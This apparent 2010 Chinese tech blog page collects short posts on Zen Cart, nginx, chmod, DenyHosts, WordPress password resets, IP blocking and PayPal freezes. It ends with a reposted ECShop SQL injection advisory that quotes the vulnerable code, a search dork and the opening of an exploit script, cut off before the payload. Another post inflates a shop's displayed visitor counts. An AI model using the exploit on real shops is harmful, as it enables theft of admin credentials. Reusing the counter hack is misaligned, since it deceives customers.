在线动漫视频[火影忍者]Naruto 第390-391集「大冒险 寻找四代的遗产」 抢新版

2010年7月31日星期六 | | 0 评论 |

 

最新动漫视频[火影忍者]Naruto 第390-391集「大冒险 寻找四代的遗产」 抢新版 在线观看

中文字幕 - 火影在线观看 - 实时更新 - 精彩不断


[火影忍者]Naruto 第390-391集「大冒险 寻找四代的遗产」 剧情介绍:

时间追溯到中忍考试前。面对即将到来的考试努力修行的鸣人,他从自来也口中得知了四代火影遗产的谜团。那好像是四代留下的究极忍术的奥义。七班为了突破中忍考试,剑拔弩张下定决心要将其得到。听到消息的丁次十班也加入了寻找究极奥义的冒险之旅。。。。




火影忍者 火影忍者 中文网 :http://naruto-cn.1ve.info

我们一直在努力, 用心做好您心目中最好的 : 火影忍者Naruto中文网
naruto, 在线动漫, 鸣人, 佐助, 火影忍者, 动漫视频,在线观看,在线视频
我的QQ空间
zen-cart 提示Authorizenet is in Testing mode的解决方法
Authorizenet is in Testing mode这个是因为zen-cart后台开启了A...
 

[zen cart]zen-cart 提示Authorizenet is in Testing mode的解决方法

2010年7月29日星期四 | | 0 评论 |

Authorizenet is in Testing mode

这个是因为zen-cart后台开启了Authorize.net的测试付款方式,这个是测试专用的。

所以要解决这个问题请到后台设置里
modules->payment
将名为Authorize.net 的付款方式都关闭即可

 
 
我的QQ空间
今年中秋国庆假"史上最零碎"1个月被割为8块(搞笑)
9月18日~10月15日被分割为8个部分,中间只要休6天年假即可"自制...
 

[休假]今年中秋国庆假“史上最零碎”1个月被割为8块(搞笑)

2010年7月27日星期二 | | 0 评论 |

9月18日~10月15日被分割为8个部分 中间只要休6天年假即可

9月18日~10月15日被分割为8个部分,中间只要休6天年假即可"自制"16日长假。

本报讯(记者王飞 通讯员黄翠萍)9月17日上班,18日休息,19~21日上班,22~26日休息,27~30上班,10月1~7日休息,8~9日上班,10日又休息……暑假过半,不少市民开始安排中秋、国庆长假了,但精明的市民发现,即将到来的中秋、国庆成为史上最折腾的一个假期了,根据《国务院办公厅关于2010年部分节假日安排的通知》,从9月18日至10月15日,工作日和休息日被"分割"为8个部分。

记者昨天从各大旅行社了解到,聪明的"老广"(编辑注:广州本地人)已经开始动用年假将被分割得七零八散的假期"整合",最长的竟然能休16天!

"如果这样分拆休息,实在是太浪费节假日了。"昨天,在动漫星城某旅行社门店选购国庆游长线的市民余小姐告诉本报记者,"我和老公一商量,就马上决定25日~30日休6天年假,这样正好有16天的长假!"

类似这样的市民不在少数,"往年市民咨询国庆期间的线路,大多集中在8天以内的,而今年市民咨询的出国游线路,许多人都想要10天以上的,"南湖国旅·西部假期副总经理陈志超说,"利用年假将中秋和国庆连休,已经成为许多打算国庆出游的市民的计划。"

正是如此,旅行社也立即抓住这个商机,推出了国庆出境长线游产品,行程多在14天至16天,如美国游方面,除了14999元的美国西岸休闲8天等长线外,21499元的美国、加拿大16天全景游、26999元的加拿大东西岸全景14天等超长线反而占了"国庆团"大头;欧洲游方面,15天以上的行程更是俯拾皆是,如13999元的欧洲经典十国15天、16999元的经典英国十一国15天等。

机票8月中旬起轮番上涨

记者看到,中秋和国庆期间的线路预售价格同比去年基本持平,并没有太大的波动,也有部分如澳洲线路则较去年略为便宜。

不过,业内提醒说,"十一"是继春节黄金周外,全年第二个出境长线游高峰,预计8月中旬起机票价格将会出现一轮明显涨幅,旅行社建议市民及早报名以避开价格走高期。

此外,由于涉及签证时间因素,所以市民报名出境长线时要特别注意预留充足的签证时间,比如欧洲、澳洲等部分长线一般需要6~9个签证工作日,联游线路则需耗时10个工作日以上,如澳洲大堡礁、新西兰全景12天、欧洲经典十国14天等联游线路,均需要办理两个签证。

 
 
我的QQ空间
【转贴】chmod命令详细用法
指令名称 : chmod使用权限 : 所有使用者使用方式 : chmod [-cfvR...
 

[linux]【转贴】chmod命令详细用法

| | 0 评论 |

 指令名称 : chmod
使用权限 : 所有使用者
使用方式 : chmod [-cfvR] [--help] [--version] mode file...
说明 : Linux/Unix 的档案调用权限分为三级 : 档案拥有者、群组、其他。利用 chmod 可以藉以控制档案如何被他人所调用。
参数 :
mode : 权限设定字串,格式如下 : [ugoa...][[+-=][rwxX]...][,...],其中
u 表示该档案的拥有者,g 表示与该档案的拥有者属于同一个群体(group)者,o 表示其他以外的人,a 表示这三者皆是。
+ 表示增加权限、- 表示取消权限、= 表示唯一设定权限。
r 表示可读取,w 表示可写入,x 表示可执行,X 表示只有当该档案是个子目录或者该档案已经被设定过为可执行。
-c : 若该档案权限确实已经更改,才显示其更改动作
-f : 若该档案权限无法被更改也不要显示错误讯息
-v : 显示权限变更的详细资料
-R : 对目前目录下的所有档案与子目录进行相同的权限变更(即以递回的方式逐个变更)
--help : 显示辅助说明
--version : 显示版本
范例 :将档案 file1.txt 设为所有人皆可读取 :
chmod ugo+r file1.txt 
将档案 file1.txt 设为所有人皆可读取 :
chmod a+r file1.txt 
将档案 file1.txt 与 file2.txt 设为该档案拥有者,与其所属同一个群体者可写入,但其他以外的人则不可写入 :
chmod ug+w,o-w file1.txt file2.txt 
将 ex1.py 设定为只有该档案拥有者可以执行 :
chmod u+x ex1.py 
将目前目录下的所有档案与子目录皆设为任何人可读取 :
chmod -R a+r * 
注意:这里的R 是大写的,如果是r会报错,Liunx 命令区分大小写
此外chmod也可以用数字来表示权限如 chmod 777 file
语法为:chmod abc file
其中a,b,c各为一个数字,分别表示User、Group、及Other的权限。
r=4,w=2,x=1
若要rwx属性则4+2+1=7;
若要rw-属性则4+2=6;
若要r-x属性则4+1=7。
范例:
chmod a=rwx file 

chmod 777 file 
效果相同
chmod ug=rwx,o=x file 

chmod 771 file 
效果相同
若用chmod 4755 filename可使此程序具有root的权限

From:http://www.chinaunix.net/jh/7/240097.html
 
我的QQ空间
nginx的upstream目前支持5种方式的分配(转载-备用)
1、轮询(默认)每个请求按时间顺序逐一分配到不同的后端服务器...
 

nginx的upstream目前支持5种方式的分配(转载-备用)

2010年7月26日星期一 | | 0 评论 |

1、轮询(默认)

每个请求按时间顺序逐一分配到不同的后端服务器,如果后端服务器down掉,能自动剔除。

2、weight
指定轮询几率,weight和访问比率成正比,用于后端服务器性能不均的情况。
例如:
upstream bakend {
server 192.168.0.14 weight=10;
server 192.168.0.15 weight=10;
}

3、ip_hash
每个请求按访问ip的hash结果分配,这样每个访客固定访问一个后端服务器,可以解决session的问题。
例如:
upstream bakend {
ip_hash;
server 192.168.0.14:88;
server 192.168.0.15:80;
}

4、fair(第三方)
按后端服务器的响应时间来分配请求,响应时间短的优先分配。
upstream backend {
server server1;
server server2;
fair;
}

5、url_hash(第三方)

按访问url的hash结果来分配请求,使每个url定向到同一个后端服务器,后端服务器为缓存时比较有效。

例:在upstream中加入hash语句,server语句中不能写入weight等其他的参数,hash_method是使用的hash算法

upstream backend {
server squid1:3128;
server squid2:3128;
hash $request_uri;
hash_method crc32;
}

upstream bakend{#定义负载均衡设备的Ip及设备状态
ip_hash;
server 127.0.0.1:9090 down;
server 127.0.0.1:8080 weight=2;
server 127.0.0.1:6060;
server 127.0.0.1:7070 backup;
}
在需要使用负载均衡的server中增加
proxy_pass http://bakend/;

每个设备的状态设置为:
1.down 表示单前的server暂时不参与负载
2.weight 默认为1.weight越大,负载的权重就越大。
3.max_fails :允许请求失败的次数默认为1.当超过最大次数时,返回proxy_next_upstream 模块定义的错误
4.fail_timeout:max_fails次失败后,暂停的时间。
5.backup: 其它所有的非backup机器down或者忙的时候,请求backup机器。所以这台机器压力会最轻。

nginx支持同时设置多组的负载均衡,用来给不用的server来使用。

client_body_in_file_only 设置为On 可以讲client post过来的数据记录到文件中用来做debug
client_body_temp_path 设置记录文件的目录 可以设置最多3层目录

location 对URL进行匹配.可以进行重定向或者进行新的代理 负载均衡

From:http://www.hiadmin.com/?cat=164
http://www.hiadmin.com/?p=1690
 
我的QQ空间
Zen Cart网店在线人数修改
修改\\includes\\modules\\sideboxes\\whos_online.php找到if ($user...
 

[安全]最好的阻止SSH暴力破解的方法

| | 0 评论 |

我的服务器每天都会有无数的SSH失败尝试记录,有些无聊的人一直不停的扫描,这些人真够无聊的,没事吃饱了撑着,老找些软件在那里穷举扫描,所以大家第一要记的设置一个好的够复杂的密码。

怎么样防,如果要一条一条将这些IP阻止显然治标不治本,还好有DenyHosts软件来代替我们手搞定他 DenyHosts是Python语言写的一个程序,它会分析sshd的日志文件,当发现重复的攻击时就会记录IP到/etc/hosts.deny文件,从而达到自动屏IP的功能。

DenyHosts官方网站为:http://denyhosts.sourceforge.net

以下是安装记录(以CentOS 5.1, DenyHosts 2.6 为例)

 

1.安装

#wget http://nchc.dl.sourceforge.net/sourceforge/denyhosts/DenyHosts-2.6-python2.4.noarch.rpm #rpm -ivh DenyHosts-2.6-python2.4.noarch.rpm

给denyhosts做成系统本身的服务

# cd /etc/init.d

# ln -s /usr/share/denyhosts/daemon-control-dist denyhosts

# chkconfig –add denyhosts

2.配置

默认是安装到/usr/share/denyhosts目录的。

# cd /usr/share/denyhosts/

# cp denyhosts.cfg-dist denyhosts.cfg

# vi denyhosts.cfg

根据自己需要进行相应的配置(解释见下文件的配置文件)

DenyHosts配置文件:

SECURE_LOG = /var/log/secure #ssh 日志文件,它是根据这个文件来判断的。

HOSTS_DENY = /etc/hosts.deny #控制用户登陆的文件

PURGE_DENY = 30m #过多久后清除已经禁止的

BLOCK_SERVICE = sshd #禁止的服务名

DENY_THRESHOLD_INVALID = 1 #允许无效用户失败的次数

DENY_THRESHOLD_VALID = 3 #允许普通用户登陆失败的次数

DENY_THRESHOLD_ROOT = 5 #允许root登陆失败的次数

HOSTNAME_LOOKUP=NO #是否做域名反解

ADMIN_EMAIL = [email protected] #管理员邮件地址,它会给管理员发邮件

DAEMON_LOG = /var/log/denyhosts #自己的日志文件

3.启动服务 让他和系统启动时一起启动

#/etc/ini.d/denyhosts start

#chkconfig denyhosts on 可以用一台电脑远程连接过来测试.如果可以看到/etc/hosts.deny内是否有禁止的IP,有的话说明已经安装成功了。

注.我发现时间deny以后,删除ip的时间不是很准.解决的方法是改变DAEMON_PURGE = 这个的时间.我发现系统删除时间是以他为准.

DAEMON_PURGE:预设清除:当DenyHosts在预设模式下执行,执行清除机械作用过期最久的HOSTS_DENY,这个会影响PURGE_DENY的间隔

From:http://www.lupaworld.com/home-space-uid-396354-do-blog-id-138993.html
我的QQ空间
Zen Cart网店在线人数修改
修改\\includes\\modules\\sideboxes\\whos_online.php找到if ($user...
 

Nginx的Rewrite重写规则

| | 0 评论 |

  • Nginx Rewrite规则相关指令

Nginx Rewrite规则相关指令有if、rewrite、set、return、break等,其中rewrite是最关键的指令。一个简单的Nginx Rewrite规则语法如下:

rewrite ^/b/(.*)\.html /play.php?video=$1 break;

如果加上if语句,示例如下:

if (!-f $request_filename)

{

rewrite ^/img/(.*)$ /site/$host/images/$1 last;

}

  • Nginx与Apache的Rewrite规则实例对比

简单的Nginx和Apache 重写规则区别不大,基本上能够完全兼容。例如:

Apache Rewrite 规则:

RewriteRule ^/(mianshi|xianjing)/$ /zl/index.php?name=$1 [L]

RewriteRule ^/ceshi/$ /zl/ceshi.php [L]

RewriteRule ^/(mianshi)_([a-zA-Z]+)/$ /zl/index.php?name=$1_$2 [L]

RewriteRule ^/pingce([0-9]*)/$ /zl/pingce.php?id=$1 [L]

Nginx Rewrite 规则:

rewrite ^/(mianshi|xianjing)/$ /zl/index.php?name=$1 last;

rewrite ^/ceshi/$ /zl/ceshi.php last;

rewrite ^/(mianshi)_([a-zA-Z]+)/$ /zl/index.php?name=$1_$2 last;

rewrite ^/pingce([0-9]*)/$ /zl/pingce.php?id=$1 last;

由以上示例可以看出,Apache的Rewrite规则改为Nginx的Rewrite规则,其实很简单:Apache的RewriteRule指令换成Nginx的rewrite指令,Apache的[L]标记换成Nginx的last标记,中间的内容不变。

如果Apache的Rewrite规则改为Nginx的Rewrite规则后,使用nginx -t命令检查发现nginx.conf配置文件有语法错误,那么可以尝试给条件加上引号。例如一下的Nginx Rewrite规则会报语法错误:

rewrite  ^/([0-9]{5}).html$ /x.jsp?id=$1  last;

加上引号就正确了:
rewrite  "^/([0-9]{5}).html$" /x.jsp?id=$1  last;

Apache与Nginx的Rewrite规则在URL跳转时有细微的区别:

Apache Rewrite 规则:
RewriteRule  ^/html/tagindex/([a-zA-Z]+)/.*$ /$1/ [R=301,L]

Nginx Rewrite 规则:
rewrite  ^/html/tagindex/([a-zA-Z]+)/.*$ http://$host/$1/  permanent;

以上示例中,我们注意到,Nginx Rewrite 规则的置换串中增加了"http://$host",这是在Nginx中要求的。

另外,Apache与Nginx的Rewrite规则在变量名称方面也有区别,例如:

Apache Rewrite 规则:
RewriteRule  ^/user/login/$ /user/login.php?login=1&forward=http://%{HTTP_HOST}  [L]

Nginx Rewrite 规则:
rewrite  ^/user/login/$ /user/login.php?login=1&forward=http://$host   last;

Apache与Nginx Rewrite 规则的一些功能相同或类似的指令、标记对应关系:

Apache的RewriteCond指令对应Nginx的if指令;
Apache的RewriteRule指令对应Nginx的rewrite指令;
Apache的[R]标记对应Nginx的redirect标记;
Apache的[P]标记对应Nginx的last标记;
Apache的[R,L]标记对应Nginx的redirect标记;
Apache的[P,L]标记对应Nginx的last标记;
Apache的[PT,L]标记对应Nginx的last标记;

允许指定的域名访问本站,其他域名一律跳转到http://www.aaa.com

Apache Rewrite 规则:
RewriteCond %{HTTP_HOST}    ^(.*?)\.domain\.com$
RewriteCond %{HTTP_HOST}    !^qita\.domain\.com$
RewriteCond %{DOCUMENT_ROOT}/market/%1/index.htm -f
RewriteRule ^/wu/$ /market/%1/index.htm [L]

Nginx的if指令不支持嵌套,也不支持AND、OR等多条件匹配,相比于Apache的RewriteCond,显得麻烦一些,但是,我们可以通过下一页的Nginx配置写法来实现这个示例:

Nginx Rewrite 规则:
if ($host ~* ^(.*?)\.domain\.com$)
{
set $var_wupin_city $1;
set $var_wupin '1′;
}
if ($host ~* ^qita\.domain\.com$)
{
set $var_wupin '0′;
}
if (!-f $document_root/market/$var_wupin_city/index.htm)
{
set $var_wupin '0′;
}
if ($var_wupin ~ '1′)
{
rewrite ^/wu/$ /market/$var_wupin_city/index.htm last;
}

From:http://school.cfan.com.cn/system/unix/2010-01-08/1262925450d218970.shtml
我的QQ空间
Zen Cart网店在线人数修改
修改\\includes\\modules\\sideboxes\\whos_online.php找到if ($user...
 

Zen Cart 产品数据库表名重命名格式(备份)

| | 0 评论 |

RENAME TABLE `zen_products` TO `products`;
RENAME TABLE `zen_products_attributes` TO `products_attributes`;
RENAME TABLE `zen_products_attributes_download` TO `products_attributes_download`;
RENAME TABLE `zen_products_description` TO `products_description`;
RENAME TABLE `zen_products_discount_quantity` TO `products_discount_quantity`;
RENAME TABLE `zen_products_notifications` TO `products_notifications`;
RENAME TABLE `zen_products_options` TO `products_options`;
RENAME TABLE `zen_products_options_types` TO `products_options_types`;
RENAME TABLE `zen_products_options_values` TO `products_options_values`;
RENAME TABLE `zen_products_options_values_to_products_options` TO `products_options_values_to_products_options`;
RENAME TABLE `zen_products_to_categories` TO `products_to_categories`;
RENAME TABLE `zen_product_music_extra` TO `product_music_extra`;
RENAME TABLE `zen_product_types` TO `product_types`;
RENAME TABLE `zen_product_types_to_category` TO `product_types_to_category`;
RENAME TABLE `zen_product_type_layout` TO `product_type_layout`;

RENAME TABLE `products` TO `zen1_products`;
RENAME TABLE `products_attributes` TO `zen1_products_attributes`;
RENAME TABLE `products_attributes_download` TO `zen1_products_attributes_download`;
RENAME TABLE `products_description` TO `zen1_products_description`;
RENAME TABLE `products_discount_quantity` TO `zen1_products_discount_quantity`;
RENAME TABLE `products_notifications` TO `zen1_products_notifications`;
RENAME TABLE `products_options` TO `zen1_products_options`;
RENAME TABLE `products_options_types` TO `zen1_products_options_types`;
RENAME TABLE `products_options_values` TO `zen1_products_options_values`;
RENAME TABLE `products_options_values_to_products_options` TO `zen1_products_options_values_to_products_options`;
RENAME TABLE `products_to_categories` TO `zen1_products_to_categories`;
RENAME TABLE `product_music_extra` TO `zen1_product_music_extra`;
RENAME TABLE `product_types` TO `zen1_product_types`;
RENAME TABLE `product_types_to_category` TO `zen1_product_types_to_category`;
RENAME TABLE `product_type_layout` TO `zen1_product_type_layout`;


RENAME TABLE `zen_categories` TO `zenbak_categories`;
RENAME TABLE `zen_categories_description` TO `zenbak_categories_description`;

RENAME TABLE `categories` TO `zen_categories`;
RENAME TABLE `categories_description` TO `zen_categories_description`;

 

我的QQ空间
Zen Cart网店在线人数修改
修改\\includes\\modules\\sideboxes\\whos_online.php找到if ($user...
 

如果忘记了WP管理密码的几种解决方案

| | 0 评论 |

 一般大家都会记得自己的WP的后台帐号和密码,但是有的时候帮朋友建的博客,他们或许不小心忘记密码了,或自己的密码太多而忘记密码了,如果想要重设wordpress密码,在wordpress的官网http://codex.wordpress.org/Resetting_Your_Password有说明,
方法有四种:

1.用E-mail认证,重设wordpress密码。
2.用MySQL指令,进入资料库更改密码值。
3.直接进入主机的phpMyAdmin更改密码值。
4.到FTP上传一个password-resetter.php到wordpress的根目录重设密码。

《方法一:用E-mail认证,重设wordpress密码》
(1)点选「忘记密码」

(2)键入你的E-mail

(3)去检查你的信箱吧

(4)收到信了,点选启用链接

(5)再检查一次信箱

(6)新密码送到喽

《方法三:直接进入主机的phpMyAdmin更改密码值》
(1)进入wordpress资料库,点选资料表wp_users

(2)点选浏览

(3)选择你想更改密码的wordpress使用者,按编辑

(4)在栏位键入新密码,选择函数MD5

(5)点选执行,更改成功!

《方法四:到FTP上传一个password-resetter.php到wordpress的根目录重设密码。》
??????忘记了wordpress登陆密码,而同时所在服务器又不能正常提供邮件服务致使新密码不能正常发送到你的邮箱,又或许你忘记了当时填写的管理员邮箱,或者对数据库结构不了解,那么最简单的办法就是下载password-resetter.php程序,,ftp上传到wordpress安装根目录,然后在浏览器"http://你的域名(即wp博客访问路径)/password-resetter.php"运行这个程序,输入你需要修改的密码点确定就OK了。这个程序名叫:password-resetter,Wp密码重设程序

 http://cid-df476f914a430e9b.skydrive.live.com/self.aspx/.Public/password-resetter.rar
设置完毕之后千万别忘记删除这个文件哦..切记!!
From:http://www.davecn.cn/34.html
我的QQ空间
Zen Cart网店在线人数修改
修改\\includes\\modules\\sideboxes\\whos_online.php找到if ($user...
 

Zen Cart网店在线人数修改

2010年7月24日星期六 | | 0 评论 |

修改\includes\modules\sideboxes\whos_online.php

找到
if ($user_total == 1) {

然后在前面
增加

$n_guests = number_format($n_guests*5+70,0,'.',','); //在线访客
$n_members = number_format($n_members*5+70,0,'.',',');//在线会员

PS: $n_guests*2+1200 这样显示的客户数是 实际数量 * 5 + 70

From: http://www.acclong.com/?p=262
我的QQ空间
外贸网店如何屏蔽中国IP
Zen cart网站采用PHP系统,而PHP系统99%都是架设在Linux主机上,...
 

[外贸]外贸网店如何屏蔽中国IP

| | 0 评论 |

Zen cart网站采用PHP系统,而PHP系统99%都是架设在Linux主机上,还有1%是在Windows 主机上(一般都是中国人干的)。

对于linux系统,由于采用了 Apache 作为网站服务,而Apache 强大的 .htaccess 文件本身就具备屏蔽IP的功能。

用ftp打开你网站根目录的 .htacess 文件进行编辑 (就是你上传网站的地方,注意有很多.htaccess 文件,要改的是根目录的)

在文件最前面添加

order deny,allow

#屏蔽某个IP地址,例如 58.22.101.100
deny from 58.22.101.100

#屏蔽多个个IP地址,例如 58.22.101.100, 59.11.11.1
deny from 58.22.101.100 59.11.11.1 ……你可以继续加,空格分隔

#屏蔽某个IP段,例如 58.22.0.0/15
deny from 58.22.0.0/15

#屏蔽多个IP段,例如 58.22.0.0/15, 58.56.0.0/15
deny from 58.22.0.0/15 58.56.0.0/15 ……你可以继续加,空格分隔

#别忘了解放自己的IP, 例如 xxx.xxxx.xxx.xxx, 保险点可以写成
# xxx.xxxx.xxx 这样只要前三组相同即可,当然 xxx.xxx 前两组相同,如果只是 xxx 未免网口漏洞太大了

allow from xxx.xxx

注意:
#开头的语句,是注释语句,没作用的,仅仅说明,可以删去也可以保留

这里有一份2008年中国IP段资料和写法,注意这个IP列表是非常不全的。新的列表应该有6000多行数据

# 最新更新时间:2008-05-17
order deny,allow
# 中国ip地址
deny from 58.22.0.0/15 58.56.0.0/15 58.58.0.0/16 58.59.0.0/17 58.60.0.0/14 58.82.0.0/15 58.208.0.0/12 58.246.0.0/15 58.248.0.0/13 59.32.0.0/13 59.40.0.0/15 59.42.0.0/16 59.56.0.0/13 60.12.0.0/16 60.28.0.0/15 60.160.0.0/11 60.194.0.0/15 60.208.0.0/13 60.216.0.0/15 61.4.64.0/20 61.48.0.0/13 61.128.0.0/10 61.135.0.0/16 61.145.73.208/28 61.179.0.0/16 61.183.0.0/16 61.184.0.0/16 61.185.219.232/29 61.188.0.0/16 61.232.0.0/14 61.236.0.0/15 118.132.0.0/14 119.18.192.0/20 121.32.0.0/14 123.4.0.0/14 124.42.64.0/18 124.236.0.0/14 125.40.0.0/13 159.226.0.0/16 202.66.0.0/16 202.96.0.0/12 202.96.128.0/18 202.108.0.0/16 203.69.0.0/16 203.169.160.0/19 210.5.0.0/19 210.14.128.0/19 210.21.0.0/16 210.51.0.0/16 210.192.96.0/19 211.76.96.0/20 211.78.208.0/20 211.90.0.0/15 211.136.0.0/13 211.233.70.0/24 211.144.12.0/22 211.144.160.0/20 211.152.14.0/24 211.154.128.0/19 211.157.32.0/19 211.161.24.128/26 218.0.0.0/11 218.56.0.0/13 218.64.0.0/11 218.88.0.0/13 218.96.0.0/14 218.102.0.0/16 218.104.136.128/25 218.242.0.0/16 219.128.0.0/11 219.232.0.0/19 220.160.0.0/11 220.181.0.0/16 220.192.0.0/12 220.228.70.0/24 220.248.0.0/14 220.250.0.0/19 220.252.0.0/16 221.10.0.0/16 221.11.0.0/16 221.192.0.0/14 221.208.0.0/14 221.212.0.0/16 221.216.0.0/13 221.224.0.0/13 221.228.0.0/14 221.238.0.0/15 222.32.0.0/11 222.76.0.0/14 222.80.0.0/12 222.136.0.0/13 222.166.0.0/16 222.168.0.0/15 222.172.222.0/24 222.184.0.0/13

allow from xxx.xxx.xxx

From:  http://www.acclong.com/?p=245
我的QQ空间
音量图标时有时无的根本解决方法
音量图标时有时无,本人深受其害,用尽各种方法都无效,只有下面的...
 

[技巧]音量图标时有时无的根本解决方法

| | 0 评论 |

音量图标时有时无,本人深受其害,用尽各种方法都无效,只有下面的这种方法一用就灵,与大家分享!

比较成功的解决方法就是在控制面板->管理工具->服务

找到SSDP Discovery Service和Universal Plug and Play Device Host

右键->属性->启动类型->已禁用 然后重启电脑。一
切搞定,你试下看,我以前也出现过此类现象,就是这样搞定的。

还有几种情况补充:

一种:"控制面板"——"声音和音频设备"——"将音量图标放入任务栏"曾经手动关掉了。只要打开就行了。
第二种:"将音量图标放入任务栏"打勾,无效。丢失sndvol32.exe,下载地址在下面,也可以在别的机子上拷贝个sndvol32.exe放在 C:\WINDOWS\system32,或找个系统光盘找到sndvol32.ex文件复制到system32后,"将音量图标放入任务栏"打勾即可。

第三种:如果你曾用软件删除过启动项目,而不小心删除了音量图标的启动。这种时候,"将音量图标放入任务栏"打勾,音量图标出现,但重新开机后音量图标没有恢复,必须重新在控制面板里设置。(这种情况,网络连接图标可能也消失)。
这种时候只要在注册表里的启动项恢复被删除的项就行。
"开始"——"运行"输入regedit打开注册表以后,依次打开HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Windows\CurrentVersion\Run 在它的右窗口新建字串"Systray"(在Run上右键点新建),键值(在Systray上双击编辑)为"c:\windows\system32\ Systray.exe",如果是win2000系统,则为"c:\winnt\system32\Systray.exe"这样就可以了。

From:http://hi.baidu.com/chkdsmsy/blog/item/647793109e858907203f2e45.html
 
我的QQ空间
全新做一个自己的Zen Cart模板
Zen Cart的模板设计比较复杂,需要一定的时间来熟悉。一旦你了解...
 

全新做一个自己的Zen Cart模板

2010年7月23日星期五 | | 0 评论 |

Zen Cart的模板设计比较复杂,需要一定的时间来熟悉。一旦你了解了它的结构,就会慢慢习惯的。

首先要阅读常见问答部分的:如何添加、制作新模板。 Zen Cart的设计没有什么特别,与以前设计HTML页面是一样的。只是整个页面分成了好几个部分,并加入了PHP代码。

通常,页面分为页眉(header),页脚(footer),边框(sideboxes)。所以设计页面的时候,要记住Zen Cart是如何组织这些页面的。

页面是通过CSS样式表来控制的。样式表控制表格单元的背景图案、字体颜色和样式等等。所以,假如你需要修改边框标题栏的字体,那么查看样式表文件。

Zen Cart在页面添加图像有两种方式。可以使用图像目录的相对路径,或者在模板中用PHP变量定义图像。如果你使用https服务器,并且采用相对图像路径,那么https的图像目录下也要有同样的图像,否则https服务器很可能会给出警告提示。

Zen Cart可以设置成任意的html/flash的界面,只是比通常的html页面的设计费时。你可以从修改缺省的模板开始,先修改CSS文件和三栏格式的界面。开始先采用不同的颜色,很快就可以设计出完全不同的风格。

最后,在设计模板前要先计划好你网页的内容,事半功倍。

下面是Zen Cart页面各部分相对应模板文件的一个列表:

文件路径  注释

index.php  主文件

includes/templates/[custom template folder]/common/html_header.php  页面的head部分

includes/templates/[custom template folder]/common/tpl_main_page.php  页面的body部分

includes/templates/[custom template folder]/common/tpl_header.php  所有页面的页眉

(column left)

includes/templates/[custom template folder]/common/main_template_vars.php 决定页面的内容部分,缺省为 'tmp_index_default.php'

首页 - 缺省

includes/templates/[custom template folder]/templates/tmp_index_default.php 首页模板文件

首页 - 显示分类

includes/templates/[custom template folder]/templates/tpl_index_categories.php 首页上显示分类时的模板文件

includes/modules/[custom template folder]/pages/index/category_row.php 选择要显示的分类

includes/templates/[custom template folder]/templates/tpl_index_category_row.php 显示分类

首页 - 显示指定分类

includes/templates/[custom template folder]/templates/tpl_index_product_list.php 首页上显示指定的分类时采用的模板文件

includes/modules/[custom template folder]/product_listing.php 将商品数据添加到数组

includes/templates/[custom template folder]/templates/tpl_modules_product_listing.php 显示商品数量和商品导航菜单

includes/templates/[custom template folder]/common/tpl_list_box_content.php 显示商品数组

商品信息页面

includes/templates/[custom template folder]/templates/tpl_product_info_display.php 显示单件商品信息

购物车页面

includes/templates/[custom template folder]/templates/tpl_shopping_cart_default.php 购物车页面

(column right)

includes/templates/[custom template folder]/common/tpl_footer.php 所有页面的页脚

From : http://zencart.blog.sohu.com/147555518.html
我的QQ空间
小析linux之压缩,解压,打包命令
文件压缩和归档有时候,我们需要把一组文件贮存成一个文件以便备...
 

如何更好的避免PayPal冻结与解冻详解

| | 0 评论 |

一 怎样避免PayPal账号被冻结 ?

1. 在做完认证后立即去申请提高到10000美元/月。这个认证不是完全为了提高10000美元的额度,而是防止取款的时候遭到冻结,很多新账户在第一次 withdraw的时候会被冻结,PayPal也是为了资金安全,所以当你提交了相关资料后,PayPal在你withdraw时就不会随便冻结你。

方法:传真4页资料。(1)申请,写你的账户是什么,提交了什么资料,需要提高到10000美元的额度。

(2)中国银行储蓄存折的第一页,有名字账号和开户行。

(3)能证明你地址的账单(如信用卡账单,水电煤账单等)。

(4)护照或驾驶执照或身份证。

将以上4页资料传真到001-402-537-5750

2.在每次完成交易发货后,把tracking number填入到PayPal中去。PayPal在你账户频繁收款时,你的货物在网上查买家全部签收,那么他也不会轻易冻结你。

3.在账户冻结的时候尽量不要开新账户。PayPal在你账户很活跃的时候冻结你的账户,而你又出于生意的需要,没办法只能开新账户,建议你先发传真解决,到时候开了一堆不同人名字的账户,都关联的。最后的结果就是被PayPal parting ways

. 怎样解冻

PayPal解冻还是可以的,连5个以上关联账户的都可以解冻。只要你有耐心,不停发传真,一般一个账户在2次传真后解冻的概率是很大的。只要你按照他说的做,不会不给你解冻的。

一般需要提供的资料:

有效的账单,用来证明你的地址。一般可以用信用卡账户地址,水电煤气手机电话账户地址,必须名字和注册的完全一样。

护照或驾驶执照,用来证明你的身份。

充足的存货证明,证明你有充足的货物能发货,一般需要一张填有货物数量的合同或invoice就可以了。PayPal要求提供冻结日起前一个月收款的货物数量即可。

供货商的信息(电话 地址email传真) 能有份商业invoiceinvoice上附带这些信息,或者是合同。

当然,PayPal再好,还是有很大的风险,真遇到被冻结解开不的,那就只有等180天解冻了,如果真想拥有一个比较安全的收款方式,还是力推收汇宝的非3D通道,安全无冻结。

最好的解决方式: PayPal+信用卡非3D通道+西联+TT +Moneybooker,完美组合,力收全球款项。

我的QQ空间
小析linux之压缩,解压,打包命令
文件压缩和归档有时候,我们需要把一组文件贮存成一个文件以便备...
 

ECShop2.5.x&2.6.x 注射漏洞解析

2010年7月21日星期三 | | 0 评论 |

  1. 发布日期:2010-07.19  
  2. 发布作者:Ryat
  3. 影响版本:ECShop2.5.x&2.6.x
  4. 官方地址:www.ecshop.com
  5. 漏洞描述: ECShop2.5.x&2.6.x goods_script.php 没有初始化SQL,导致注射漏洞

    影响2.5.x和2.6.x,其他版本未测试

    goods_script.php44行:injection / admin credentials disclosure exploit  

    1. if (emptyempty($_GET['type']))  
    2.     {  
    3.         ...  
    4.     }  
    5.     elseif ($_GET['type'] == 'collection')  
    6.     {  
    7.         ...  
    8.     }  
    9.     $sql .= " LIMIT " . (!emptyempty($_GET['goods_num']) ? intval($_GET['goods_num']) : 10);  
    10.     $res = $db->query($sql); 


    $sql没有初始化,很明显的一个漏洞:)

    EXP:

    1. #!/usr/bin/php  
    2. <?php  
    3.  
    4. print_r('  
    5. +---------------------------------------------------------------------------+  
    6. ECShop <= v2.6.2 SQL 
    7. by puret_t  
    8. mail: puretot at gmail dot com  
    9. team: http://bbs.wolvez.org  
    10. dork: "Powered by ECShop" 
    11. +---------------------------------------------------------------------------+  
    12. ');  
    13. /**  
    14.  * works with register_globals = On  
    15.  */ 
    16. if ($argc < 3) {  
    17.     print_r('  
    18. +---------------------------------------------------------------------------+  
    19. Usage: php '.$argv[0].' host path  
    20. host:      target server (ip/hostname)  
